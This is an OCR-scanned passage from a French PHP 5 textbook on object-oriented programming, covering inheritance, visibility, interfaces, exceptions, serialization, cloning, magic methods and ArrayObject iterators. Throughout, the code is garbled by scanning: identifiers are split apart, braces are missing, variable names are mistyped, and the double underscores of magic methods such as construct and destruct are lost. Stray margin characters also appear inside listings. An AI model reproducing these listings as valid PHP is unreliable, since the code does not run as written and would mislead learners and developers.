$objet->msg = "Message modifie par la fonction"; 

} 

$obj = new MaCl asse() ; 
modifieMessage($obj) ; 
echo $obj->msg; 



retournera 

Message modi fie par la fonction 

alors qu'avec PHP 4, il retournait 
Message par defaut 

puisque la modification portait sur une copie de l'objet. 
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Objetretour 

Bien que cela soit plus difficile a demontrer, c'est egalement vrai pour les objets 
retournes par les fonctions (par return). Dans ce cas, ce n'est pas une copie de 
Vobjet cree dans la fonction qui est retourne, mais une reference sur Vobjet. 

En fait, ce sont toutes les manipulations d'objets qui se font par reference (comme c'est 
traditionnellement le cas avec un langage de programmation oriente objet) et non plus par copie. 

Ainsi le code suivant : 
<?php 

$obj = new MaCl asse() ; 
$obj2 = $objl; 

$obj2->msg = "Message attribue a \$obj2"; 
echo $objl->msg; 

?> 

retournera: 

Message attribue a $obj2 

Alors qu'avec PHP 4, il retournerait : 
Message par defaut 

Dereferencement 

A supposer que l'une des methodes de l'objet retourne un objet comme par exemple la 
methode suivante: 

function recupereEcran () 

{ 

return $ecran; 

} 

II est desormais possible de recuperer en un seul appel la valeur d'un attribut de l'objet ainsi 
retourne en utilisant la syntaxe $ordinateur->recupereEcran ( ) ->prix. On parle alors de 
dereferencement. 



PHP 4 et le dereferencement 

Notez bien que cela n 'etait pas possible avec PHP 4. Nous etions alors contraints de 
passer par une variable intermediaire, selon le modele suivant: $ecran = 
$ordinateur->recupereEcran ( ), puis $ecran->prix. 

L 'appel suivant etait, en revanche, tout a fait valide $ordinateur->ecran->prix. 



REMARQUE 



REMARQUE 



Les classes, les objets 



lypage 

Sans que PHP ne soit devenu un langage fortement type avec la venue de la version 5. Celle-ci 
permet toutefois de preciser le type (uniquement s'il s'agit d'un objet) des parametres des 
methodes. Comme le montre l'exemple suivant (la classe Boitier est decrite un peu plus loin): 

function changerBoi tier (Boitier $boitier) 

{ 

$this->boitier = $boitier; 

} 

En cas de passage de parametre d'un mauvais type, l'erreur ne sera pas detectee lors de la 
compilation mais lors de l'execution de la methode. II s'agit alors d'une erreur de niveau "fatal" 
et non une exception qui est levee. 

Modificateurs de methodes 

Sur le meme principe que pour les attributs, la declaration des methodes peut etre affinee grace 
aux modificateurs "private", "protected" ou par defaut "public" pour ce qui est de la portee 
et "final" pour ce qui est des droits en modification (voir heritage). 

L'heritage 

Si Ton reprend l'ensemble des classes (La classe ordinateur ayant ete precedemment definie) 
nous obtenons: 

Classe Boitier 

<?php 

class Boitier 

{ 

public $modele; 
public $details; 
public $prix; 

// Constructeur 

function construct($modele, $prix, $details) 

{ 

$thi s->model e = $modele; 
$thi s->detai 1 s = $details; 
$this->prix = $prix; 

} 

// Methodes. 

f uncti on modi f i erModel e($model e) 

{ 

$thi s->model e = $modele; 

} 

f uncti on modi f i erDetai 1 s ($detai 1 s) 
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{ 

$thi s->detai 1 s = $details; 

} 

function modifierPrix($prix) 

{ 

$this->prix = $prix; 

} 

?> 



Classe Ecran 

<?php 

class Ecran 

{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix 

$thi s->model e = $modele; 
$this->prix = $prix; 



// Methodes. 

function modi f ierModel e($model e) 
$thi s->model e = $modele; 



function modifierPrix($prix) 
$this->prix = $prix; 

?> 



Classe Clavier 

<?php 

class Clavier 
{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix 

{ 

$thi s->model e = $modele; 
$this->prix = $prix; 

} 
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// Methodes. 

f uncti on modi f i erModel e($model e) 

{ 

$thi s->model e = $modele; 

} 

function modifierPrix($prix) 

{ 

$this->prix = $prix; 

} 

?> 

Classe Souris 

<?php 

class Souris 
{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix) 

$thi s->model e = $modele; 
$this->prix = $prix; 



// Methodes. 

f uncti on modi f i erModel e($model e) 
$thi s->model e = $modele; 



function modifierPrix($prix) 
$this->prix = $prix; 

?> 

Ces quatre dernieres classes se ressemblant enormement, il serait preferable de creer une 
classe commune composant. C'est l'objet de ce sous-chapitre. 

La programmation objet permet de faire de l'heritage. On parle d'heritage lorsqu'une classe 
beneficie (herite) des proprietes (methodes et attributs) d'une autre. La classe qui herite des 
proprietes pourra implementer d'autres proprietes ; on dit alors quelle "etend" la classe 
parente. 

Dans notre exemple, nous allons creer une classe Composant dont heriteront les classes 
Boitier, Clavier et Souris. 
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Classe Composant 

<?php 

class Composant 

{ 

public $modele; 
public $prix; 

// Constructeur 

function construct($modele, $prix) 

$thi s->model e = $modele; 
$this->prix = $prix; 



// Methodes. 

function modi f ierModel e($model e) 
$thi s->model e = $modele; 



function modifierPrix($prix) 
$this->prix = $prix; 

?> 

Maintenant, si les classes Boitier, clavier et souris heritent de la classe Composant, elles 
vont considerablement se simplifier. Pour cela, il suffit de preciser "extends <classe 
parente>" lors de la declaration de la classe. 

Classe Souris 

<?php 

class Souris extends Composant 

{ 

} 

?> 

Cette declaration suffit a definir la classe souris comme fait precedemment. Cette classe vide 
peut sembler inutile, mais elle peut s'averer tres utile si Ton veut ajouter une information sur le 
nombre de boutons ou sur le fait qu'elle soit sans fil, par exemple (information qui n'aurait pas 
de sens pour les autres composants). 

Nous verrons avec la classe Boitier comment ajouter des methodes propres a une classe. 

Classe Clavier 

<?php 

class Clavier extends Composant 

{ 
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} 

?> 

Ce fichier suffit a definir la classe clavier comme fait precedemment. De meme que pour la 
classe souris, il pourrait etre interessant d'ajouter le nombre de touches ou le fait que ce soit 
un clavier avec ou sans fil. 

Classe Boitier 

<?php 

class Boitier extends Composant 
{ 

private $details; 
// Constructeur 

function construct($modele, $prix, $details) 

{ 

new Composant ($model e, $pri x) ; 
$thi s->detai 1 s = $details; 

} 

// Methodes. 

f uncti on modi f i erDetai 1 s ($detai 1 s) 

{ 

$thi s->detai 1 s = $details; 

} 

} 

?> 

Ainsi defini, la classe Boitier beneficie des methodes modif ierModele ( ) et 
modif ierPrix ( ) definies dans la classe Composant. Mais comme la classe que nous 
souhaitons obtenir est "plus riche" que la classe Composant dont elle herite, il a fallu redefinir 
le constructeur, et ajouter une methode et un attribut. 

La classe ordinateur reste inchangee. 

Dans le cas de 1'heritage, la classe parente peut etre referencee a l'aide du mot-cle parent. 
Ainsi, 1'instruction parent : : modif ierModele { ) fera appel a la fonction modif ierModele ( ) 
de la classe parente meme si celle-ci a ete redefinie au niveau de la classe fille. 

Heritage et appel du constructeur 

Lorsque la classe qui herite ne redefinit pas le constructeur, alors c'est le constructeur 
de la classe parente qui est appele. 

Lorsque la classe qui herite redefinit le constructeur, alors c'est le constructeur de la 
classe fille qui est appele, sans que le soit le constructeur de la classe parente (a moins 

d'un appel explicite parent: : construct ( ) ). Ce comportement est different de 

celui de certains langages, et de Java en particulier. 




REMARQUE 
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Heritage multiple 

II n 'est pas certain que PHP integre un jour ['heritage multiple mais comme le prouve 



Java, on pent tres bien vivre sans (tout en s'evitant bien des soucis). 



Reecriture de methode 

Comme nous l'avons vu avec l'exemple de la classe Boitier, une classe fille peut tres bien 
re-ecrire une methode de la classe mere. Dans ce cas, la signature de la methode reste inchange 
mais son comportement pourra etre totalement (ou en partie modifie). 

Si vous ne souhaitez pas que vous ou un quelconque utilisateur de votre classe ne fasse une grosse 
bourde en reecrivant maladroitement une des methodes de la classe alors declarez la final . 

<?php 

cl ass CI assMereAvecUneMethodeCri ti que 

{ 

final function methodeCritique() 

{ 

// C'est une methode critique a ne surtout pas 
// re-ecrire. 

} 

} 

?> 



Portee des attribute et methodes (public, protected, private) 

Comme cela a ete evoque precedemment, les attributs et les methodes peuvent etre declares 

public", "protected" OU "private". 

Un attribut ou une methode declare public est accessible librement. 

Un attribut ou une methode declare private n'est accessible que depuis une methode de la 
classe dans laquelle il a ete defini. 

Un attribut ou une methode declare protected n'est accessible que depuis une methode de la 
classe dans laquelle il a ete defini ou d'une classe en heritant. 

L'utilisation de ces modificateurs de portee n'est pas a negliger. II peut etre par exemple 
necessaire de rendre des attributs private ou protected afin d'obliger l'utilisation d'une 
methode pour affecter ces valeurs. Ces methodes appelees accesseurs pourront au besoin 
pre-traiter la demande ou en controler la validite avant de modifier ou retourner la valeur de 
l'attribut. 

<?php 

class Composant 

{ 

private $modele; 
private $prix; 

// Constructeur 
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function construct($modele, $prix) 

{ 

$thi s->model e = $modele; 
$this->prix = $pn'x; 

} 

// Methodes. 

f uncti on modi f i erModel e($model e) 

{ 

if ($modele == "inconnu") $modele = NULL; 
$thi s->model e = $modele; 

} 

function modifierPrix($prix) 
{ 

if ($prix < 0) $prix = 0; 
$this->prix = $prix; 

} 

?> 

Avec cette classe, l'appel $monBoitier->prix = 10; n'est plus possible. II faut 
necessairement passer par la methode modif ierPrix ( ) comme suit 
$monBoitier->modif ierPrix ( 10 ) ; ce qui permettra de verifier que le prix indique n'est pas 
negatif. 



Les interfaces 

Lorsqu'elle est correctement maitrisee, la programmation orientee objet permet de faire des 
choses vraiment formidables. II est ainsi possible de creer des classes (et leurs methodes) qui 
manipulent des objets de facon tout a fait generique sans en connaitre leur implementation 
exacte mais en s'appuyant simplement sur les methodes qu'ils proposent. Dans ce cas, il faut 
toutefois s'assurer que les objets manipules implementent effectivement ces methodes. Pour 
s'en assurer, il suffit alors de definir une interface decrivant l'ensemble des methodes qui 
doivent etre implementees. 

<?php 

interface Monlnterface { 

public function afficher(); 

} 

?> 

Nous avons ici decrit 1'interface d'une classe devant implementer une methode af f icher ( ) . 
Les classes pretendant implementer cette interface devront alors le preciser avec le mot cle 

implements. 

<?php 

class CI asseQui Impl emente implements Monlnterface { 
function afficher() 
{ 

echo "Moi quand j'affiche c'est a l'ecran"; 

} 
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} 

?> 

Une telle classe pourra alors etre utilisee par la classe suivante: 
<?php 

class CI asseQui Fai tLeTrai tement 

{ 

var $obj ; 

function construct ($obj) 

{ 

$this->obj = obj; 

} 

function trai tement () 
{ 

// Quelques lignes de traitement puis 
$this->obj->afficher() ; 




$objAffi chage = new CI asseQui Impl emente() ; 

$objTrai tement = new ClasseQui FaitLeTraitement($objAffichage) 

SobjTrai tement->trai tement () ; 

?> 



Les classes abstraites 

Un peu dans le meme esprit que les interfaces, il existe egalement les classes abstraites. II s'agit 
alors de classes qui peuvent implementer un certain nombre de methodes et laisse le soin a 
d'autres d'implementer un certain nombre d'autres methodes alors declarees comme 
abstract (abstraites). Une classe contenant des methodes abstraites est elle-meme abstraite 
et ne peut etre instanciee. Une classe abstraite ne peut etre que derivee (par heritage). 

L'exemple precedent donnerait alors 
<?php 

abstract class MaCl asseAbstrai te { 

abstract public function afficher(); 
function autreMethode() 

{ 

// Eventuel 1 ement une methode qui 
// a ete implementee ici 

} 

} 

class CI asseQui Impl emente extends MaClasseAbstraite { 
function afficherQ 

{ 

echo "Moi quand j'affiche c'est a 1'ecran"; 

} 

} 
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class CI asseQui Fai tLeTrai tement 

{ 

var $obj ; 

function construct (MaClasseAbstraite $obj) 

{ 

$thi s->obj = obj; 

} 

function trai tement () 

{ 

// Quelques lignes de traitement puis 
$thi s->obj->affi cher() ; 



$objAffi chage = new ClassQui Implemente() ; ™ 

$objTrai tement = new CI asseQui Fai tLeTrai tement ($objAffi chage) 2| 

$objTrai tement->trai tement () ; *§ 

?> f§ 

-a 

Vous noterez que dans ce cas, il est possible de verifier que le classe passee en parametre du "° 
constructeur herite bien de la classe abstraite (et done implement e bien la methode af f icher ( ) ). 



Les exceptions 

L'ensemble des langages de programmation orientee objet offrent une alternative a l'habituel 
code d'erreur retourne par une fonction: a la place, lorsqu'une classe leve une erreur, elle 
interrompt son deroulement et redonne la main au programme appelant en emettant un objet 
appele Exception. PHP n'echappe pas a cette regie. 

La generation de ces "messages" est alors controlee et geree dans un bloc try... catch.. 
Listing 3.37 : exception.php 

<?php 

class ObjetMathematique 

{ 

function division($a, $b) 

{ 

if ($b == 0) throw new Exception ("Division par zero.", 10); 
else return $a/$b; 




try { 

$obj = new ObjetMathematiqueO ; 

echo $obj->division(4, 2)."<br />\n"; 

echo $obj->division(4, 0)."<br />\n"; 

echo $obj->division(8, 4)."<br />\n"; 

} catch (Exception $ex) { 

echo "getMessage() " .$ex->getMessage() . "<br />\n"; 
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echo "getCode() " .$ex->getCode() . "<br />\n"; 
echo "getFile() " .$ex->getFi 1 e() • "<br />\n"; 
echo "getLine() " .$ex->getLine() . "<br />\n"; 
echo "getTrace() "; 
var_dump($ex->getTrace()) ; 
echo "<br />\n"; 

echo "getTraceAsStringO ".$ex->getTraceAsString() ."<br />\n"; 

} 

?> 

Cela retournera alors : 
2<br /> 

getMessage() Division par zero.<br /> 
getCode() 10<br /> 

getFi 1 e () /usr/1 ocal /apache/htdocs/regtest/poo/_excepti on . php<br /> 
getLine() 7<br /> 
getTrace() array(l) { 
[0]=> 

array (6) { 
["file"]=> 

stri ng (51) "/usr/1 ocal /apache/htdocs/regtest/poo/ excepti on . php" 

["line"]=> 

int(15) 

["function"] => 
string (8) "division" 
["class"]=> 

string(17) "ObjetMathematique" 

["type"]=> 

string(2) "->" 

["args"]=> 

array (2) { 

[0]=> 

int(4) 

[1]=> 
int(O) 

} 

} 

} 

<br /> 

getTraceAsStringO #0 /usr/local/apache/htdocs/regtest/poo/_exception.php(15) : 
x 0bjetMatheinatique->division(4, 0) 
#1 {main}<br /> 

En effet, lorsque nous avons appele la methode division avec un diviseur egal a 0, la methode 
a leve une exception grace a l'instruction throw. Ceci a done mis un terme a l'execution de la 
methode ainsi qu'a celle du bloc try du programme appelant, l'execution se poursuivant par le 
bloc catch correspondant a l'objet exception genere. (Ici, nous n'avons qu'un bloc catch, mais 
il est possible d'en avoir autant qu'il y a d'exceptions differentes). Le reste du programme (a la 
suite du bloc try.. .catch) se deroule alors normalement. 
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Dans cet exemple, nous avons utilise la classe predefinie Exception, nous aurions egalement 
pu definir notre propre classe d'exception a condition qu'elle herite de Exception. 

La classe Exception presente un constructeur permettant de preciser un message d'erreur 
ainsi qu'un code d'erreur. 



Exceptions construct () 

Instancie un objet Exception. 

Syntaxe new Excepti on ( [stri ng $message [, int $codeErreur]] ) 

$message Message d'erreur. 

$codeErreur Code d'erreur. 

Cette classe possede de nombreuses methodes: 



Exception->getMessage () 

Retourne le message d'erreur de l'Exception. 

Syntaxe string getMessageQ 

retour Message d'erreur. 



Exception->getCode () 

Retourne le code d'erreur de l'Exception. 

Syntaxe int getCode() 

retour Code d'erreur. 



Exception->getFile () 

Retourne le nom du fichier dans lequel l'Exception a ete levee. 

Syntaxe stri ng getFi 1 e() 

retour Nom du fichier. 
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Exception->getLine () 

Retourne le numero de la ligne du fichier ou l'Exception a ete levee. 

Syntaxe int getLine() 

retour Ligne dans le fichier. 

Exception->getTrace () 

Retourne le tableau des enchainements des appels de fonctions ayant conduit a l'Exception. 
Syntaxe array getTraceQ 

retour Tableau indexe contenant une entree par fonction dans la pile d'appel. 

Chacune des valeurs de ce tableau est un tableau associatif contenant les 
cles: file, precisant le nom du fichier contenant l'appel; .line, 
precisant la ligne ou a eu lieu l'appel, function, precisant le nom de la 
fonction (ou methode) appelee, class, precisant le nom de la classe 
impliquee, type, precisant le type d'appel (ex: '->' pour un appel de 
methode non statique) et enfin args, precisant les parametres passes a la 
fonction. 




PHP 4 (ne) fait (pas) Exception 

PHP 4 ne gerait pas les exceptions. 



REMARQUE 

Les fonctions de manipulation des objets 

PHP propose un ensemble de fonctions applicables a des objets. II s'agit essentiellement de 
fonctions d'introspection: c'est a dire des fonctions retournant des informations sur un objet 
comme par exemple la liste des attributs et methodes qu'il expose. 

get_class() 

Retourne le nom de la classe dont l'objet specifie est une instance. 

Syntaxe string get_cl ass (object $objet) 

$obj et Objet dont vous souhaitez determiner la classe. 

retour Nom de la classe ou FALSE en cas d'echec. 
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class_exists() 



Verifie si une classe existe ou non. 



Syntaxe 



$cl asse 

$chargement 
Automati que 



retour 



boolean cl ass_exi sts (stri ng $classe [, boolean 
$chargementAutomatique] ) 

Nom de la classe que vous souhaitez tester. 

TRUE (valeur par defaut) si vous souhaitez utiliser le chargement 
automatique de la classe (cf. autoload), FALSE sinon. 

TRUE si la classe existe, FALSE sinon. 



get_class_methods () 

Retourne la liste des methodes exposees par une classe ou un objet. 

Syntaxe array get_cl assjnethods (mixed $classe) 

$cl asse Nom de la classe ou une instance (l'objet directement). 

retour Tableau indexe ayant pour valeurs les noms des methodes ou NULL si la 

classe n'existe pas. 



method_exists() 

Verifie si un objet expose une methode donnee ou non. 

Syntaxe boolean method_exi sts (object $objet, string $methode) 

$objet Objet que vous souhaitez tester (contrairement a 

get_class_method ( ) il n'est pas possible de specifier le nom de la 
classe a la place). 

$classe Nom de la methode. 

retour TRUE si la methode existe, FALSE sinon. 



get_class_vars() 



Retourne la liste des attributs d'une classe et leur valeur (initiale). 
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Syntaxe array get_cl ass_vars (stri ng $classe) 

$cl asse Nom de la classe (contrairement a get_class_method ( ) il n'est pas 

possible de specifier l'objet directement). 

retour Tableau indexe ayant pour cles les noms des attributs et pour valeur la 

valeur initiale des attributs ou FALSE si la classe n'existe pas. 



get_object_vars() 

Retourne la liste des attributs d'un objet et leur valeur. 

Syntaxe array get_object_vars (object $objet) 

$ob j et Objet dont vous souhaitez obtenir la liste de valeur des attributs. 

retour Tableau indexe ayant pour cles les noms des attributs et pour valeur la 

valeur des attributs ou FALSE en cas d'erreur. 

D'autres fonctions sont plus specifiquement liees a la notion d'heritage. 



get_parent_class() 

Retourne le nom de la classe mere de la classe testee. 

Syntaxe string get_parent_cl ass (mixed $classe) 

$cl asse Nom de la classe ou instance (l'objet directement). 

retour Nom de la classe mere ou FALSE en cas d'erreur. 



is_subclass_of() 

Verifie si un objet herite d'une classe donnee ou non. 

Syntaxe boolean i s_subcl ass_of (object $objet, string $classe) 

$ob j et Objet a tester. 

$cl asse Nom de la classe dont l'objet est susceptible d'heriter. 

retour TRUE si l'objet herite bien de la classe indiquee, FALSE sinon. 

II est egalement possible de recuperer la liste de l'ensemble des classes et interfaces connues du 
script. 
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get_declared_classes () 

Retourne la liste des classes connues (on y retrouve evidemment stdClass, Exception, etc.). 

Syntaxe array get_decl ared_cl asses () 

retour Tableau indexe ayant pour valeurs les noms des classes. 

get_declared_interfaces () 

Retourne la liste des interfaces connues. 

Syntaxe array get_decl ared_i nterfaces () 

retour Tableau indexe ayant pour valeurs les noms des interfaces. 

Programmation avancee 
Memoriser des objets 

II est parfois interessant de stocker un objet dans un fichier (une variable de session ou encore 
une base de donnees). Ce n'est pas, a priori, une tache aisee, mais elle se revele tres simple s'il 
est possible de transformer un objet en chaine de caracteres et une chaine de caracteres en 
objet. C'est ce que Ton appelle la serialisation et la deserialisation. 

La serialisation s'effectue a l'aide de la fonction serialize ( ) ; l'operation inverse a l'aide de 

la fonction unserialize ( ) . 

Pour pouvoir relire cette chaine de caracteres et la transformer en objet, la classe doit etre 
definie au moment de l'operation de deserialisation. 

Dans l'exemple suivant, nous sauvegarderons un objet souris, puis nous le recupererons dans un 
autre script en se servant d'un fichier texte pour memoriser cet objet. 

Listing 3.38 : sauvegarde.php 

<?php 

// Inclusion du contenu du fichier Souris. php 
// contenant la definition de la classe 
include("Souris.php") ; 

$souris = new Souris("Souris Facile", 9. 98) ; 
$chaine_souris = serialize($souris) ; 

$fichier = fopen("sauvegarde" , "w"); // Le fichier sauvegarde 

// est ouvert en ecriture 
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fputs($fichier, $chai ne_souri s) ; // Le contenu de la chaine de 

// caracteres est ecrit 
fclose($fichier) ; // Le fichier est referme 

?> 

Listing 3.39 : lecture.php 

<?php 

// II est indispensable d'inclure la definition de la classe 
// Souris pour que unserialize() fonctionne correctement 
include("Souris.php") ; 

$souris = implodeC", @fi 1 e("sauvegarde") ) ; //la chaine stockee 

// est recuperee 

unseri al i ze($souri s) ; // la chaine est transformed en son objet associe 

// $souris se traite desormais comme un objet. 
$souris->modifier_prix(9.99) ; 

?> 



^^g) Les sessions 

^ Dans le cas des sessions, si vous utilisez la fonction session_register ( ) sur un 
objet, celui-ci est automatiquement serialise. Ilfaut done f aire bien attention a inclure 
la definition de la classe dans chacun desfichiers accessibles des le moment oil Vobjet 
est enregistre en session. Sinon celui-ci se transforme en objet de classe stdciass et 
n'a aucune utilite, car, alors, aucune des methodes n'est accessible. 



sleep 

La fonction sleep ( ) est appelee avant toute serialisation. Cette fonction renvoie un tableau 

des valeurs a memoriser. Elle permet de n'indiquer que les valeurs utiles a stocker et de fermer 
les connexions aux bases de donnees par exemple. 

wakeup 

La fonction unseriaiize ( ) fait appel a cette methode au moment de recreer l'objet. Cela 
peut permettre de retablir des connexions aux bases de donnees par exemple. 

<?php 
class Test 

{ 

var $attributl; 
var $attribut2; 
var $attribut3; 

function Test($attributl, $attribut2) 

{ 
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$thi s->attributl=$attri butl; 
$thi s->attri but2=$attri but2; 
$thi s->attri but3=$attri butl+$attri but2 ; 

} 

function sleep() { 

return array( 1 attributl 1 , 1 attribut2 1 ) ; 

} 

function wakeupO { 

$this->attribut3 = $this->attributl + $this->attribut2; 

} 

} 

?> 

En faisant ceci, on economise en memoire, car $attribut3, qui peut etre calcule a partir de 

$attributi et $attribut2, n'est pas stocke (en effet, la fonction sleep ordonne de ne 

stacker que les attributs attributl et attribut2). II est cependant recalcule au moment de 
reconstituer l'objet. 

Destruction des objets 

Lorsqu'un objet n'est plus utilise (ou tout simplement lorsque la fin du script arrive), les objets 
sont detruits. Jusqu'alors, il n'etait pas possible de demander a PHP d'executer certaines 
fonctions (ex. : fermeture d'un fichier, deconnexion d'une base de donnees, etc.) avant de 
detruire definitivement l'objet. C'est desormais possible en ecrivant une methode 
de struct ( ) contenant le code a executer avant la destruction de l'objet. 

<?php 

class ObjetMortBruyante 
{ 

var $msg; 

function construct() 

{ 

$this->msg = "Je suis un objet qui ne sait pas mourir en silence"; 

} 

function destructQ 

{ 

echo "Arrgggg je meurs"; 

} 

} 

$obj = new ObjetMortBrutanteQ ; 

// la fin du script entraine la destruction de l'objet 

?> 

Ce script retournera done : 
Arrgggg je meurs 

indiquant bien que la methode destruct ( ) a ete appelee. 
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destructQ et I'heritage 

En cas d'heritage, tout comme pour le constructeur, le destructeur de la classe parente 
n'est pas appele automatiquement. Si vous souhaitez appeler ce dernier vous devrez 
inclure un appel parent : : destruct (). 



Clonage 

Avec l'arrivee de PHP 5 et de son moteur Zend2, il est desormais possible de preciser comme 
doit se faire la copie d'un objet en creant une methode clone ( ) . 

II est alors possible par exemple de reinitialiser certaines valeurs (les caracteristiques propres a 
la copie) tout en demandant la copie de certaines autres (les caracteristiques generates de 
l'objet copie). Pour acceder aux donnees de l'objet copie, vous devrez faire appel a $that (qui 
joue le role du $this mais pour l'objet copie). 



This or That ? 

Nous devons avouer notre perplexite sur ce point. II se trouve que dans les premieres 
documentations et premieres implementations de PHP 5. II fallait effectivement 
utiliser $that. Cependant, V exemple suivant qui fonctionnait tel que nous I'avions 
imagine precedemment ne fonctionne pas exactement pared avec PHP 5.0.1. 

Ainsi l'exemple suivant : 

<?php 

class ObjetMutant() 

{ 

var $msg, $msg2; 
function ObjetMutant () 
{ 

$this->msg = "Je suis un mutant"; 
$this->msg2 = "et je reste un mutant."; 

} 

function clone() 

{ 

$this->msg = "J'ai mute"; 
$this->msg2 = $that->msg2; 

} 

} 

$obj = new ObjetMutant() ; 
$obj2 = clone $obj ; 

echo $obj->msg. " " .$obj->msg2. "<br />"; 
echo $obj2->msg." " .$obj2->msg2. "<br />"; 

?> 

retournera done (ou tout du moins retournait) : 

Je suis mutant et je reste un mutant. 
J'ai mute et je reste un mutant. 



REMARQUE 




REMARQUE 
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II retourne desormais 

Je suis mutant et je reste un mutant. 
J'ai mute 

A moins de remplacer le $that par un $this. 

Quoiqu'il en soit, une chose est sure, a l'appel de l'instruction clone, la methode clone ( ) a 

bien ere executee. Notez, que la methode clone ( ) ne peut etre appelee directement. 

Nouvelles methodes "internes" ^^^^ 

PHP 5 utilise de nouvelles methodes internes. 

CO 

En particulier lors de la recuperation du contenu d'un attribut selon le schema 
$objet->attribut, PHP retournera la valeur de l'attribut s'il existe, sinon il appellera la — 

methode get ( ) avec pour parametre le nom de l'attribut. Methode qu'il est possible de ,= 

redefinir. £5 

CD 

<?php 2 
class MaClasse "° 

{ 

var $attrl; 

function contruct() 

{ 

$attrl = "demo"; 

} 

function get($nom) 

{ 

return "Desole, $nom n'est pas un attribut connu"; 

} 

} 

$obj = new MaCl asse() ; 
echo $obj->attrl; 
echo $obj->attr2; 

?> 

retournera done: 
demo 

Desole, attr2 n'est pas un attribut connu 

II en est de meme avec l'affectation de valeur a une variable et la methode interne set ( ) 

ainsi que pour l'appel de methode et la fonction call ( ) . Dans ce dernier cas, la methode 

recoit deux parametres, le premier etant le nom de la methode appelee et le second etant un 
tableau indexe des parametres de l'appel. 

autres fonctions 

II est prevu de pouvoir definir son propre traitement lorsqu'il est fait reference a une classe qui 

n'existe pas. Pour cela, il suffit de redefinir la fonction autoload ( ) qui accepte pour unique 

parametre le nom de la classe appelee. Notez toutefois qu'a 1'issu de l'appel a cette fonction, 
l'instanciation d'un objet de la classe invoquee devra etre possible sinon le script s'arretera avec 
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un message d'erreur. En fait, cette fonction a pour objectif principal de vous permettre 
d'inclure au vol le fichier contenant la declaration de la classe. 



Les tableaux en POO 

PHP propose un objet appele ArrayObj ect charge de manipuler un tableau comme n'importe 
quel objet. 



ArrayObj ect-> construct () 

Instancie un objet ArrayObj ect. 

Syntaxe new ArrayObj ect ([mixed $tableau]) 

$tabl eau L'objet ArrayObj ect peut etre initialise aussi bien avec un autre objet 

ArrayObj ect qu'avec un tableau "classique". 

S'il n'est pas pre-rempli lors de l'appel du constructeur, l'objet peut etre alimente par des appels 
successif a la methode append ( ) . 



ArrayObj ect->append() 

Ajoute un element a un objet ArrayObj ect. 

Syntaxe void append (mixed $valeur) 

$val eur Element a ajouter a l'objet ArrayObj ect. 

Cette methode presente toutefois l'inconvenient majeur de ne pas permettre de preciser la cle 
associee a la valeur. Pour cela, nous privilegierons la methode of f setset ( ) . 



ArrayObj ect->offsetSet () 

Ajoute un element a un objet ArrayObj ect en precisant la cle associee. 

Syntaxe void of fsetSet (mixed $cle, mixed $valeur) 

$cl e Cle associee a l'element a ajouter a l'objet ArrayObj ect. 

$val eur Element a ajouter a l'objet ArrayObj ect. 

A l'inverse, il est possible de recuperer la valeur associee a une cle par 
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ArrayOb j ect->off setGet () 

Retourne l'element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe mixed off setGet (mixed $cle) 

$ c 1 e Cle associee a l'element a recuperer. 

retour Element associe a la cle dans l'objet ArrayOb j ect. 

Pour supprimer un element du tableau on fera appel a 



ArrayObject->offsetUnset() 

Supprime l'element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe void offsetUnset (mi xed $cle) 

$ c 1 e Cle associee a l'element a supprimer. 

II est egalement possible d'en verifier l'existence 



ArrayOb j ect->off setExists () 

Teste la presence d'un element d'un objet Arrayobject associe a une cle donnee. 

Syntaxe boolean offsetExists(mixed $cle) 

$ c 1 e Cle a rechercher. 

retour TRUE, si un des elements du tableau est associe a la cle, FALSE sinon. 

II est evidemment, a tout moment possible de verifier la taille du tableau 



ArrayOb j ect->count () 

Retourne le nombre d'element contenu dans un objet Arrayobject. 

Syntaxe int count () 

retour Nombre d'elements dans le tableau. 
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Les iterateurs de tableau 

Afin de parcourir le contenu d'un tableau, PHP met a disposition un objet Arrayiterator. 
Celui ci peut etre obtenu en appelant la methode getiterator ( ) d'un ArrayObject. 

ArrayObj ect->getIterator () 

Retourne un iterateur sur un objet ArrayObject. 

^ Syntaxe Arrayiterator getiterator () 

£ retour Iterateur sur 1 'ArrayObject. 

03 
B) 

S) L'objet Arrayiterator agit comme un pointeur sur un element du tableau. Pointeur qui 

permet de progresser du premier element au dernier. 

I 

CO 

ArrayIterator->valid () 

Verifie que l'iterateur pointe toujours sur un element de l'objet ArrayObject. 
Syntaxe boolean val id() 

retour TRUE si l'iterateur pointe sur un element du tableau, FALSE sinon. 

ArrayIterator->current () 

Retourne l'element "courant" du tableau (celui sur lequel l'iterateur pointe). 
Syntaxe mixed current () 

retour Valeur de l'element du tableau actuellement pointe. 

ArrayIterator->key() 

Retourne la cle de l'element "courant" du tableau (celui sur lequel l'iterateur pointe). 
Syntaxe mixed key() 

retour Cle de l'element du tableau actuellement pointe. 
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ArrayIterator->next () 

Deplace l'iterateur sur 1'element suivant du tableau. 
Syntaxe void next() 

Ainsi typiquement le parcours d'un tableau s'effectue comme ceci: 
<?php 

$tableau["clel"] = "elementl"; 
$tableau["cle2"] = "element2"; 
$tableau["cle3"] = "element3"; 
$monArrayObject = new ArrayObject($tableau) ; 

echo "Ce tableau contient " .$monArrayObject->count() . " elements. <br />"; 

echo "J 'utilise un iterateur pour le parcouri r:<br />"; 
$iterateur = $monArrayObject->getIterator() ; 
while ($iterateur->val id()) { 

echo "cle = ". $iterateur->key() . 

" valeur = ". $iterateur->current() . 
"<br />"; 
$iterateur->next() ; 

} 

?> 

Ceci dit l'iterateur peut etre utilise pour naviguer librement au sein du tableau. 



ArrayIterator->seek() 

Deplace le pointeur de l'iterateur sur un element quelconque du tableau. 
Syntaxe void seek(int $position) 

$position Position dans le tableau (0 = premier element) ou doit etre deplace le 

pointeur de l'iterateur. 



ArrayIterator->rewind () 

Deplace le pointeur de l'iterateur sur le premier element du tableau. Equivalent de seek ( o ) . 
Syntaxe void rewind () 
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Listing 3.40 : arrayObject.php 

<?php 

$tableau[] = "elementl"; 
$tableau[] = "element2"; 
$tableau[] = "element3"; 
SmonArrayObject = new ArrayObject($tableau) ; 



SmonAutreArrayObject = new ArrayObject (SmonArrayObject) ; 

echo "Ce tableau contient " .$monArrayObject->count() . " el ements .<br />"; 

echo "J 'utilise un iterateur pour le parcouri r:<br />"; 
o_ $iterateur = $monAutreArrayObject->getIterator() ; 

